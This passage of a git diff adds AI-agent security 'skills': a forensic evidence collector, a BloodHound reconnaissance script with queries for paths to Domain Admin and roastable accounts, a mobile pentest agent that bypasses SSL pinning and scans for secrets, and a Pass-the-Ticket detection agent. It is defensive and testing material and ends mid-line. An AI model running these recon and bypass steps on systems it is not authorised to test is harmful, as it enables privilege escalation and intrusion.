+"""Volatile evidence collection agent for compromised hosts. + +Collects volatile forensic artifacts following RFC 3227 order of volatility: +registers, memory, network state, running processes, disk, and logs. +Uses platform-native tools for live response evidence gathering. +""" + +import sys +import json +import os +import datetime +import subprocess +import platform +import hashlib + + +VOLATILITY_ORDER = [ + {"priority": 1, "source": "memory", "description": "Physical memory (RAM) dump", + "tool_linux": "avml", "tool_windows": "winpmem_mini_x64.exe"}, + {"priority": 2, "source": "network_connections", "description": "Active network connections", + "tool_linux": "ss -tunap", "tool_windows": "netstat -anob"}, + {"priority": 3, "source": "running_processes", "description": "Running process list with details", + "tool_linux": "ps auxwwf", "tool_windows": "tasklist /V /FO CSV"}, + {"priority": 4, "source": "open_files", "description": "Open file handles", + "tool_linux": "lsof -nP", "tool_windows": "handle64.exe -a"}, + {"priority": 5, "source": "network_config", "description": "Network interface configuration", + "tool_linux": "ip addr show", "tool_windows": "ipconfig /all"}, + {"priority": 6, "source": "routing_table", "description": "Network routing table", + "tool_linux": "ip route show", "tool_windows": "route print"}, + {"priority": 7, "source": "arp_cache", "description": "ARP cache entries", + "tool_linux": "ip neigh show", "tool_windows": "arp -a"}, + {"priority": 8, "source": "dns_cache", "description": "DNS resolver cache", + "tool_linux": "cat /etc/resolv.conf", "tool_windows": "ipconfig /displaydns"}, + {"priority": 9, "source": "logged_users", "description": "Currently logged-in users", + "tool_linux": "w", "tool_windows": "query user"}, + {"priority": 10, "source": "scheduled_tasks", "description": "Scheduled tasks and cron jobs", + "tool_linux": "crontab -l; ls /etc/cron.d/", "tool_windows": "schtasks /query /FO CSV /V"}, +] + + +def collect_artifact(source_config, output_dir): + """Collect a single volatile artifact.""" + is_windows = platform.system() == "Windows" + cmd = source_config["tool_windows"] if is_windows else source_config["tool_linux"] + source_name = source_config["source"] + output_file = os.path.join(output_dir, source_name + ".txt") + + result = { + "source": source_name, + "priority": source_config["priority"], + "command": cmd, + "timestamp": datetime.datetime.utcnow().isoformat() + "Z", + "status": "pending", + } + + try: + proc = subprocess.run( + cmd, shell=True, capture_output=True, text=True, timeout=60 + ) + result["status"] = "collected" + result["output_lines"] = len(proc.stdout.splitlines()) + result["output_file"] = output_file + result["exit_code"] = proc.returncode + + with open(output_file, "w", encoding="utf-8") as f: + f.write("# Collected: {}\n".format(result["timestamp"])) + f.write("# Command: {}\n".format(cmd)) + f.write("# Exit code: {}\n\n".format(proc.returncode)) + f.write(proc.stdout) + if proc.stderr: + f.write("\n# STDERR:\n" + proc.stderr) + + sha256 = hashlib.sha256(proc.stdout.encode()).hexdigest() + result["sha256"] = sha256 + except subprocess.TimeoutExpired: + result["status"] = "timeout" + except Exception as e: + result["status"] = "error" + result["error"] = str(e) + + return result + + +def run_collection(output_dir, sources=None): + """Run full volatile evidence collection.""" + os.makedirs(output_dir, exist_ok=True) + if sources is None: + sources = VOLATILITY_ORDER + + manifest = { + "collection_start": datetime.datetime.utcnow().isoformat() + "Z", + "hostname": platform.node(), + "platform": platform.system(), + "output_dir": output_dir, + "artifacts": [], + } + + for source_config in sorted(sources, key=lambda x: x["priority"]): + if source_config["source"] == "memory": + manifest["artifacts"].append({ + "source": "memory", + "priority": 1, + "status": "skipped", + "note": "Memory dump requires elevated privileges and dedicated tool", + }) + continue + + result = collect_artifact(source_config, output_dir) + manifest["artifacts"].append(result) + + manifest["collection_end"] = datetime.datetime.utcnow().isoformat() + "Z" + manifest["total_collected"] = sum(1 for a in manifest["artifacts"] if a["status"] == "collected") + + manifest_path = os.path.join(output_dir, "collection_manifest.json") + with open(manifest_path, "w", encoding="utf-8") as f: + json.dump(manifest, f, indent=2) + manifest["manifest_file"] = manifest_path + + return manifest + + +if __name__ == "__main__": + print("=" * 60) + print("Volatile Evidence Collection Agent") + print("RFC 3227 order of volatility, live response artifacts") + print("=" * 60) + print(" Platform: {}".format(platform.system())) + print(" Hostname: {}".format(platform.node())) + + output_dir = sys.argv[1] if len(sys.argv) > 1 else os.path.join( + os.path.expanduser("~"), "volatile_evidence_" + datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S") + ) + + print("\n--- RFC 3227 Volatility Order ---") + for v in VOLATILITY_ORDER: + tool = v["tool_windows"] if platform.system() == "Windows" else v["tool_linux"] + print(" P{}: {:25s} [{}]".format(v["priority"], v["source"], tool)) + + print("\n[*] Collecting volatile evidence to: {}".format(output_dir)) + manifest = run_collection(output_dir) + + print("\n--- Collection Results ---") + for a in manifest["artifacts"]: + status_marker = "+" if a["status"] == "collected" else "-" + print(" [{}] P{}: {} -> {}".format( + status_marker, a["priority"], a["source"], a["status"])) + + print("\nTotal collected: {}/{}".format( + manifest["total_collected"], len(manifest["artifacts"]))) + print("Manifest: {}".format(manifest.get("manifest_file", ""))) + + print("\n" + json.dumps({"artifacts_collected": manifest["total_collected"]}, indent=2)) diff --git a/skills/conducting-api-security-testing/LICENSE b/skills/conducting-api-security-testing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-api-security-testing/LICENSE +++ b/skills/conducting-api-security-testing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-cloud-incident-response/LICENSE b/skills/conducting-cloud-incident-response/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-cloud-incident-response/LICENSE +++ b/skills/conducting-cloud-incident-response/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-cloud-infrastructure-penetration-test/LICENSE b/skills/conducting-cloud-infrastructure-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-cloud-infrastructure-penetration-test/LICENSE +++ b/skills/conducting-cloud-infrastructure-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-cloud-penetration-testing/LICENSE b/skills/conducting-cloud-penetration-testing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-cloud-penetration-testing/LICENSE +++ b/skills/conducting-cloud-penetration-testing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-domain-persistence-with-dcsync/LICENSE b/skills/conducting-domain-persistence-with-dcsync/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-domain-persistence-with-dcsync/LICENSE +++ b/skills/conducting-domain-persistence-with-dcsync/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-external-reconnaissance-with-osint/LICENSE b/skills/conducting-external-reconnaissance-with-osint/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-external-reconnaissance-with-osint/LICENSE +++ b/skills/conducting-external-reconnaissance-with-osint/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-full-scope-red-team-engagement/LICENSE b/skills/conducting-full-scope-red-team-engagement/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-full-scope-red-team-engagement/LICENSE +++ b/skills/conducting-full-scope-red-team-engagement/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-internal-network-penetration-test/LICENSE b/skills/conducting-internal-network-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-internal-network-penetration-test/LICENSE +++ b/skills/conducting-internal-network-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/LICENSE b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/LICENSE +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md new file mode 100644 index 00000000..a4ebd9b9 --- /dev/null +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md @@ -0,0 +1,50 @@ +# BloodHound CE Reconnaissance — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| neo4j | `pip install neo4j` | Neo4j graph database driver for Cypher queries | +| bloodhound | `pip install bloodhound` | Python ingestor for AD data collection | +| requests | `pip install requests` | BloodHound CE REST API client | + +## Key neo4j Driver Methods + +| Method | Description | +|--------|-------------| +| `GraphDatabase.driver(uri, auth=(user, pass))` | Connect to Neo4j | +| `driver.session()` | Open a session for queries | +| `session.run(cypher, **params)` | Execute Cypher query | +| `driver.close()` | Close driver connection | + +## Critical Cypher Queries + +| Query Purpose | Cypher Pattern | +|---------------|----------------| +| Path to DA | `MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@..."}))` | +| Kerberoastable | `MATCH (u:User) WHERE u.hasspn = true AND u.enabled = true` | +| Unconstrained Delegation | `MATCH (c:Computer) WHERE c.unconstraineddelegation = true` | +| AS-REP Roastable | `MATCH (u:User) WHERE u.dontreqpreauth = true` | +| DCSync rights | `MATCH p=(u)-[:GetChanges|GetChangesAll]->(d:Domain)` | + +## BloodHound Python Ingestor + +```bash +bloodhound-python -d domain.local -u user -p pass -ns DC_IP -c all --zip +``` + +Collection methods: `all`, `group`, `localadmin`, `session`, `trusts`, `objectprops`, `acl` + +## MITRE ATT&CK Mapping + +| Technique | ID | +|-----------|----| +| Account Discovery | T1087 | +| Permission Groups Discovery | T1069 | +| Domain Trust Discovery | T1482 | + +## External References + +- [BloodHound CE Documentation](https://bloodhound.readthedocs.io/) +- [neo4j Python Driver](https://neo4j.com/docs/python-manual/current/) +- [BloodHound Cypher Cheatsheet](https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/) diff --git a/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py new file mode 100644 index 00000000..34cb8cf0 --- /dev/null +++ b/skills/conducting-internal-reconnaissance-with-bloodhound-ce/scripts/agent.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python3 +"""BloodHound CE reconnaissance agent using bloodhound Python ingestor and Neo4j.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + +try: + from neo4j import GraphDatabase +except ImportError: + print("Install: pip install neo4j") + sys.exit(1) + + +def collect_bloodhound_data(domain, username, password, dc_ip, method="all"): + """Run BloodHound Python ingestor to collect AD data.""" + cmd = [ + "bloodhound-python", "-d", domain, "-u", username, "-p", password, + "-ns", dc_ip, "-c", method, "--zip", + ] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + return {"status": "completed", "output": result.stdout[:1000]} + except FileNotFoundError: + return {"status": "error", "message": "Install: pip install bloodhound"} + except subprocess.TimeoutExpired: + return {"status": "timeout"} + + +def query_shortest_path_to_da(driver): + """Find shortest path to Domain Admins.""" + with driver.session() as session: + result = session.run( + "MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name: $group})) " + "WHERE u.enabled = true RETURN u.name AS user, length(p) AS hops " + "ORDER BY hops LIMIT 10", + group="DOMAIN ADMINS@DOMAIN.LOCAL", + ) + return [{"user": r["user"], "hops": r["hops"]} for r in result] + + +def query_kerberoastable_users(driver): + """Find kerberoastable user accounts.""" + with driver.session() as session: + result = session.run( + "MATCH (u:User) WHERE u.hasspn = true AND u.enabled = true " + "RETURN u.name AS user, u.serviceprincipalnames AS spns, " + "u.admincount AS admin_count ORDER BY u.admincount DESC" + ) + return [{"user": r["user"], "spns": r["spns"], + "admin": r["admin_count"]} for r in result] + + +def query_unconstrained_delegation(driver): + """Find computers with unconstrained delegation.""" + with driver.session() as session: + result = session.run( + "MATCH (c:Computer) WHERE c.unconstraineddelegation = true " + "RETURN c.name AS computer, c.operatingsystem AS os" + ) + return [{"computer": r["computer"], "os": r["os"]} for r in result] + + +def query_as_rep_roastable(driver): + """Find AS-REP roastable accounts (no pre-auth required).""" + with driver.session() as session: + result = session.run( + "MATCH (u:User) WHERE u.dontreqpreauth = true AND u.enabled = true " + "RETURN u.name AS user, u.admincount AS admin_count" + ) + return [{"user": r["user"], "admin": r["admin_count"]} for r in result] + + +def run_recon(neo4j_uri, neo4j_user, neo4j_password): + """Run BloodHound reconnaissance queries.""" + driver = GraphDatabase.driver(neo4j_uri, auth=(neo4j_user, neo4j_password)) + print(f"\n{'='*60}") + print(f" BLOODHOUND CE RECONNAISSANCE") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + paths = query_shortest_path_to_da(driver) + print(f"--- SHORTEST PATHS TO DOMAIN ADMIN ({len(paths)}) ---") + for p in paths: + print(f" {p['user']}: {p['hops']} hops") + + kerb = query_kerberoastable_users(driver) + print(f"\n--- KERBEROASTABLE USERS ({len(kerb)}) ---") + for k in kerb[:10]: + print(f" {k['user']} (admin={k['admin']})") + + deleg = query_unconstrained_delegation(driver) + print(f"\n--- UNCONSTRAINED DELEGATION ({len(deleg)}) ---") + for d in deleg: + print(f" {d['computer']}: {d['os']}") + + asrep = query_as_rep_roastable(driver) + print(f"\n--- AS-REP ROASTABLE ({len(asrep)}) ---") + for a in asrep: + print(f" {a['user']} (admin={a['admin']})") + + driver.close() + return {"paths_to_da": paths, "kerberoastable": kerb, + "unconstrained_delegation": deleg, "asrep_roastable": asrep} + + +def main(): + parser = argparse.ArgumentParser(description="BloodHound CE Recon Agent") + parser.add_argument("--neo4j-uri", default="bolt://localhost:7687", help="Neo4j URI") + parser.add_argument("--neo4j-user", default="neo4j", help="Neo4j username") + parser.add_argument("--neo4j-password", required=True, help="Neo4j password") + parser.add_argument("--collect", action="store_true", help="Run data collection first") + parser.add_argument("--domain", help="AD domain for collection") + parser.add_argument("--ad-user", help="AD username for collection") + parser.add_argument("--ad-pass", help="AD password for collection") + parser.add_argument("--dc-ip", help="Domain controller IP") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.collect and args.domain: + result = collect_bloodhound_data(args.domain, args.ad_user, args.ad_pass, args.dc_ip) + print(json.dumps(result, indent=2)) + + report = run_recon(args.neo4j_uri, args.neo4j_user, args.neo4j_password) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-malware-incident-response/LICENSE b/skills/conducting-malware-incident-response/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-malware-incident-response/LICENSE +++ b/skills/conducting-malware-incident-response/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-man-in-the-middle-attack-simulation/LICENSE b/skills/conducting-man-in-the-middle-attack-simulation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-man-in-the-middle-attack-simulation/LICENSE +++ b/skills/conducting-man-in-the-middle-attack-simulation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-memory-forensics-with-volatility/LICENSE b/skills/conducting-memory-forensics-with-volatility/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-memory-forensics-with-volatility/LICENSE +++ b/skills/conducting-memory-forensics-with-volatility/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-mobile-app-penetration-test/LICENSE b/skills/conducting-mobile-app-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-mobile-app-penetration-test/LICENSE +++ b/skills/conducting-mobile-app-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-mobile-application-penetration-test/LICENSE b/skills/conducting-mobile-application-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-mobile-application-penetration-test/LICENSE +++ b/skills/conducting-mobile-application-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-mobile-application-penetration-test/references/api-reference.md b/skills/conducting-mobile-application-penetration-test/references/api-reference.md new file mode 100644 index 00000000..18023e15 --- /dev/null +++ b/skills/conducting-mobile-application-penetration-test/references/api-reference.md @@ -0,0 +1,47 @@ +# Mobile Application Penetration Test — API Reference + +## Libraries & Tools + +| Tool | Install | Purpose | +|------|---------|---------| +| apktool | `apt install apktool` | Android APK decompilation and recompilation | +| objection | `pip install objection` | Runtime mobile exploration via Frida | +| frida-tools | `pip install frida-tools` | Dynamic instrumentation framework | +| jadx | Binary download | Java decompiler for APK source code | +| MobSF | `docker pull opensecurity/mobile-security-framework-mobsf` | Automated mobile security scanner | + +## Key objection Commands + +| Command | Description | +|---------|-------------| +| `objection -g explore` | Attach to running app | +| `android sslpinning disable` | Bypass SSL certificate pinning | +| `android root disable` | Bypass root detection | +| `android hooking list activities` | List app activities | +| `android keystore list` | Dump Android Keystore entries | +| `android clipboard monitor` | Monitor clipboard content | + +## Frida Script Patterns + +| Pattern | Purpose | +|---------|---------| +| `Java.use("class").method.implementation` | Hook Java method | +| `Interceptor.attach(addr, {onEnter, onLeave})` | Hook native function | +| `Java.choose("class", {onMatch, onComplete})` | Find live instances | + +## OWASP Mobile Top 10 Checks + +| ID | Vulnerability | +|----|--------------| +| M1 | Improper Platform Usage | +| M2 | Insecure Data Storage | +| M3 | Insecure Communication | +| M4 | Insecure Authentication | +| M5 | Insufficient Cryptography | + +## External References + +- [OWASP Mobile Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/) +- [Frida Documentation](https://frida.re/docs/home/) +- [objection Wiki](https://github.com/sensepost/objection/wiki) +- [apktool Documentation](https://apktool.org/docs/install) diff --git a/skills/conducting-mobile-application-penetration-test/scripts/agent.py b/skills/conducting-mobile-application-penetration-test/scripts/agent.py new file mode 100644 index 00000000..6cc1ea25 --- /dev/null +++ b/skills/conducting-mobile-application-penetration-test/scripts/agent.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +"""Mobile application penetration testing agent using Frida and objection.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + + +def run_apktool_decompile(apk_path): + """Decompile Android APK for static analysis.""" + cmd = ["apktool", "d", apk_path, "-o", f"{apk_path}_decompiled", "-f"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return {"status": "completed", "output_dir": f"{apk_path}_decompiled"} + except FileNotFoundError: + return {"status": "error", "message": "apktool not installed"} + + +def check_android_manifest(manifest_path): + """Analyze AndroidManifest.xml for security issues.""" + findings = [] + try: + with open(manifest_path, "r") as f: + content = f.read() + checks = [ + ("android:debuggable=\"true\"", "App is debuggable", "HIGH"), + ("android:allowBackup=\"true\"", "App allows backup extraction", "MEDIUM"), + ("android:exported=\"true\"", "Exported component found", "MEDIUM"), + ("android:usesCleartextTraffic=\"true\"", "Cleartext traffic allowed", "HIGH"), + ("android.permission.WRITE_EXTERNAL_STORAGE", "External storage write", "LOW"), + ("android.permission.READ_PHONE_STATE", "Phone state access", "MEDIUM"), + ] + for pattern, desc, severity in checks: + if pattern.lower() in content.lower(): + findings.append({"finding": desc, "pattern": pattern, "severity": severity}) + except FileNotFoundError: + findings.append({"error": f"Manifest not found: {manifest_path}"}) + return findings + + +def scan_hardcoded_secrets(source_dir): + """Scan decompiled source for hardcoded secrets.""" + import re + patterns = { + "API Key": re.compile(r'["\'](?:api[_-]?key|apikey)["\']?\s*[:=]\s*["\']([^"\']{20,})["\']', re.I), + "AWS Key": re.compile(r'AKIA[0-9A-Z]{16}'), + "Private Key": re.compile(r'-----BEGIN (?:RSA )?PRIVATE KEY-----'), + "Password": re.compile(r'["\'](?:password|passwd|pwd)["\']?\s*[:=]\s*["\']([^"\']+)["\']', re.I), + "Firebase URL": re.compile(r'https://[a-z0-9-]+\.firebaseio\.com'), + } + findings = [] + import os + for root, _, files in os.walk(source_dir): + for fname in files: + if fname.endswith((".smali", ".java", ".xml", ".json", ".properties")): + fpath = os.path.join(root, fname) + try: + with open(fpath, "r", errors="ignore") as f: + content = f.read() + for secret_type, pattern in patterns.items(): + matches = pattern.findall(content) + for match in matches: + findings.append({ + "type": secret_type, + "file": os.path.relpath(fpath, source_dir), + "severity": "CRITICAL" if "key" in secret_type.lower() else "HIGH", + }) + except OSError: + pass + return findings + + +def check_ssl_pinning(package_name): + """Check for SSL pinning implementation.""" + cmd = ["objection", "-g", package_name, "run", "android", "sslpinning", "disable"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return {"ssl_pinning": "enabled" if "error" not in result.stdout.lower() else "not_detected"} + except FileNotFoundError: + return {"status": "error", "message": "objection not installed: pip install objection"} + + +def run_pentest(apk_path): + """Execute mobile application penetration test.""" + print(f"\n{'='*60}") + print(f" MOBILE APP PENETRATION TEST") + print(f" APK: {apk_path}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + decomp = run_apktool_decompile(apk_path) + print(f"--- DECOMPILATION ---") + print(f" Status: {decomp['status']}") + + if decomp["status"] == "completed": + manifest = check_android_manifest(f"{decomp['output_dir']}/AndroidManifest.xml") + print(f"\n--- MANIFEST ANALYSIS ({len(manifest)} findings) ---") + for f in manifest: + if "error" not in f: + print(f" [{f['severity']}] {f['finding']}") + + secrets = scan_hardcoded_secrets(decomp["output_dir"]) + print(f"\n--- HARDCODED SECRETS ({len(secrets)} findings) ---") + for s in secrets[:10]: + print(f" [{s['severity']}] {s['type']} in {s['file']}") + + return {"decompilation": decomp, "manifest": manifest, "secrets": secrets} + return {"decompilation": decomp} + + +def main(): + parser = argparse.ArgumentParser(description="Mobile App Pentest Agent") + parser.add_argument("--apk", required=True, help="Path to APK file") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_pentest(args.apk) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-network-penetration-test/LICENSE b/skills/conducting-network-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-network-penetration-test/LICENSE +++ b/skills/conducting-network-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-pass-the-ticket-attack/LICENSE b/skills/conducting-pass-the-ticket-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/conducting-pass-the-ticket-attack/LICENSE +++ b/skills/conducting-pass-the-ticket-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/conducting-pass-the-ticket-attack/references/api-reference.md b/skills/conducting-pass-the-ticket-attack/references/api-reference.md new file mode 100644 index 00000000..cec66fc3 --- /dev/null +++ b/skills/conducting-pass-the-ticket-attack/references/api-reference.md @@ -0,0 +1,42 @@ +# Pass-the-Ticket Detection — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| impacket | `pip install impacket` | Kerberos ticket manipulation (ticketer.py, getST.py) | +| ldap3 | `pip install ldap3` | AD LDAP queries for SPN and account enumeration | +| pySigma | `pip install pySigma` | Sigma rule parsing and conversion | + +## Key Windows Event IDs + +| Event ID | Description | Relevance | +|----------|-------------|-----------| +| 4768 | Kerberos TGT request | Golden ticket detection (RC4 = 0x17) | +| 4769 | Kerberos service ticket request | Silver ticket / Kerberoasting | +| 4770 | Kerberos service ticket renewed | Ticket reuse indicator | +| 4771 | Kerberos pre-auth failed | Password spray detection | +| 4624 | Successful logon | Correlate with ticket usage | + +## Encryption Type Constants + +| Value | Algorithm | Concern | +|-------|-----------|---------| +| 0x17 | RC4-HMAC | Downgrade attack indicator | +| 0x12 | AES-256 | Expected modern encryption | +| 0x11 | AES-128 | Acceptable encryption | + +## MITRE ATT&CK Mapping + +| Technique | ID | +|-----------|----| +| Use Alternate Authentication Material: Pass the Ticket | T1550.003 | +| Steal or Forge Kerberos Tickets: Golden Ticket | T1558.001 | +| Steal or Forge Kerberos Tickets: Silver Ticket | T1558.002 | + +## External References + +- [impacket ticketer.py](https://github.com/fortra/impacket/blob/master/examples/ticketer.py) +- [Microsoft Kerberos Event Logging](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768) +- [Sigma Rules Repository](https://github.com/SigmaHQ/sigma) +- [ADSecurity.org Kerberos Attacks](https://adsecurity.org/?p=1515) diff --git a/skills/conducting-pass-the-ticket-attack/scripts/agent.py b/skills/conducting-pass-the-ticket-attack/scripts/agent.py new file mode 100644 index 00000000..0b496b08 --- /dev/null +++ b/skills/conducting-pass-the-ticket-attack/scripts/agent.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Pass-the-Ticket attack detection agent using Windows event log analysis.""" + +import json +import sys +import argparse +from datetime import datetime + + +def detect_ptt_events(log_file): + """Analyze Windows Security logs for Pass-the-Ticket indicators.""" + detections = [] + try: + with open(log_file, "r") as f: + events = json.load(f) + except (FileNotFoundError, json.JSONDecodeError) as e: + return [{"error": str(e)}] + + for event in events: + eid = str(event.get("EventID", "")) + if eid == "4768": + if event.get("TicketEncryptionType") == "0x17": + detections.append({ + "event_id": eid, + "type": "TGT_request_rc4", + "account": event.get("TargetUserName", ""), + "source_ip": event.get("IpAddress", ""), + "severity": "HIGH", + "note": "RC4 TGT request may indicate golden ticket", + }) + elif eid == "4769": + if event.get("TicketEncryptionType") == "0x17": + detections.append({ + "event_id": eid, + "type": "service_ticket_rc4", + "account": event.get("TargetUserName", ""), + "service": event.get("ServiceName", ""), + "severity": "MEDIUM", + "note": "RC4 service ticket — potential Kerberoasting or PTT", + }) + elif eid == "4624": + if event.get("LogonType") == "3" and event.get("AuthenticationPackageName") == "Kerberos": + source = event.get("IpAddress", "") + detections.append({ + "event_id": eid, + "type": "network_logon_kerberos", + "account": event.get("TargetUserName", ""), + "source_ip": source, + "severity": "INFO", + "note": "Kerberos network logon — correlate with TGT anomalies", + }) + return detections + + +def generate_sigma_rules(): + """Generate Sigma detection rules for Pass-the-Ticket.""" + rules = [ + { + "title": "Pass-the-Ticket via RC4 Encryption Downgrade", + "logsource": {"product": "windows", "service": "security"}, + "detection": { + "selection": {"EventID": [4768, 4769], "TicketEncryptionType": "0x17"}, + "condition": "selection", + }, + "level": "high", + "tags": ["attack.lateral_movement", "attack.t1550.003"], + }, + { + "title": "Anomalous Kerberos TGT Request from Non-Domain Controller", + "logsource": {"product": "windows", "service": "security"}, + "detection": { + "selection": {"EventID": 4768}, + "filter": {"IpAddress|startswith": ["::1", "127."]}, + "condition": "selection and not filter", + }, + "level": "medium", + "tags": ["attack.credential_access", "attack.t1558"], + }, + ] + return rules + + +def generate_hunt_queries(): + """Generate threat hunting queries for PTT detection.""" + return { + "splunk": [ + 'index=wineventlog EventCode=4768 TicketEncryptionType=0x17 | stats count by Account_Name, src_ip', + 'index=wineventlog EventCode=4769 ServiceName!="krbtgt" TicketEncryptionType=0x17 | table _time Account_Name ServiceName', + ], + "kql": [ + 'SecurityEvent | where EventID == 4768 | where TicketEncryptionType == "0x17" | summarize count() by TargetAccount, IpAddress', + 'SecurityEvent | where EventID == 4769 | where TicketEncryptionType == "0x17" | project TimeGenerated, TargetAccount, 